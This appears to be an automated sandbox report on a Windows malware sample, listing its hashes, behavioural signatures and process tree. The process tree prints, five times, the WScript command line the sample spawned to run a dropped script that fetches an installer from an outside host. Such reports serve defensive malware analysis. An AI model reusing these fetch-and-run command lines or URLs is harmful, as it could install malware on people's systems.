Analysis
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max time kernel
45s -
max time network
49s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
28/11/2022, 07:05
Static task
static1
Behavioral task
behavioral1
Sample
acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe
Resource
win10v2004-20221111-en
General
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Target
acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe
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Size
184KB
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MD5
51987c1683ae46a7d7ae95f32d35100c
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SHA1
6ca41e67fd7972fb199c20e06517bca6da5749eb
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SHA256
acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb
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SHA512
07e2217907ca16d87332f4776579dca68f0903a5f9c59cacc13ada45a21f179351cbc8100072bd7f73f8fec5deb7d9743bb86fc99648b7b10ae2f1e9a339cc27
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3a:/7BSH8zUB+nGESaaRvoB7FJNndn3
Malware Config
Signatures
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Blocklisted process makes network request 10 IoCs
flow pid Process 2 940 WScript.exe 5 940 WScript.exe 6 1864 WScript.exe 8 1864 WScript.exe 9 2040 WScript.exe 11 2040 WScript.exe 12 1884 WScript.exe 14 1884 WScript.exe 15 596 WScript.exe 17 596 WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
pid pid_target Process procid_target 1952 852 WerFault.exe 26 -
Script User-Agent 5 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 12 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 15 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 2 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 9 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 852 wrote to memory of 940 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 27 PID 852 wrote to memory of 940 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 27 PID 852 wrote to memory of 940 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 27 PID 852 wrote to memory of 940 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 27 PID 852 wrote to memory of 1864 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 30 PID 852 wrote to memory of 1864 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 30 PID 852 wrote to memory of 1864 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 30 PID 852 wrote to memory of 1864 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 30 PID 852 wrote to memory of 2040 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 31 PID 852 wrote to memory of 2040 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 31 PID 852 wrote to memory of 2040 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 31 PID 852 wrote to memory of 2040 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 31 PID 852 wrote to memory of 1884 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 32 PID 852 wrote to memory of 1884 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 32 PID 852 wrote to memory of 1884 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 32 PID 852 wrote to memory of 1884 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 32 PID 852 wrote to memory of 596 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 33 PID 852 wrote to memory of 596 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 33 PID 852 wrote to memory of 596 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 33 PID 852 wrote to memory of 596 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 33 PID 852 wrote to memory of 1952 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 34 PID 852 wrote to memory of 1952 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 34 PID 852 wrote to memory of 1952 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 34 PID 852 wrote to memory of 1952 852 acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe 34
Processes
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C:\Users\Admin\AppData\Local\Temp\acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe"C:\Users\Admin\AppData\Local\Temp\acf16766895d351a663f36c50e31cea5b95fac66ace7d734b849c48339ae47fb.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:852 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2AB9.js" http://www.djapp.info/?domain=CNiJdOYMwu.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf2AB9.exe2⤵
- Blocklisted process makes network request
PID:940
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2AB9.js" http://www.djapp.info/?domain=CNiJdOYMwu.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf2AB9.exe2⤵
- Blocklisted process makes network request
PID:1864
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2AB9.js" http://www.djapp.info/?domain=CNiJdOYMwu.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf2AB9.exe2⤵
- Blocklisted process makes network request
PID:2040
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2AB9.js" http://www.djapp.info/?domain=CNiJdOYMwu.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf2AB9.exe2⤵
- Blocklisted process makes network request
PID:1884
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2AB9.js" http://www.djapp.info/?domain=CNiJdOYMwu.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf2AB9.exe2⤵
- Blocklisted process makes network request
PID:596
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 852 -s 4762⤵
- Program crash
PID:1952
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
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Filesize
100B
MD5ea34c2ac4e4728bfd2d5ffd2ab764b75
SHA16d0df1d903458c4b5957a9333b86d8c60c531cef
SHA25635b4ad8df726faffc3525b708f0ad30105376f11d4ac3261c100559168e45381
SHA512b5424a45bc879f630d9f10b0bd8349e08eb717bba549e4a5017f5c043830ddff85ab53e7f4d9da7f4063f4592b03872f494c2afdcb545f1a4ffefc3d9833f808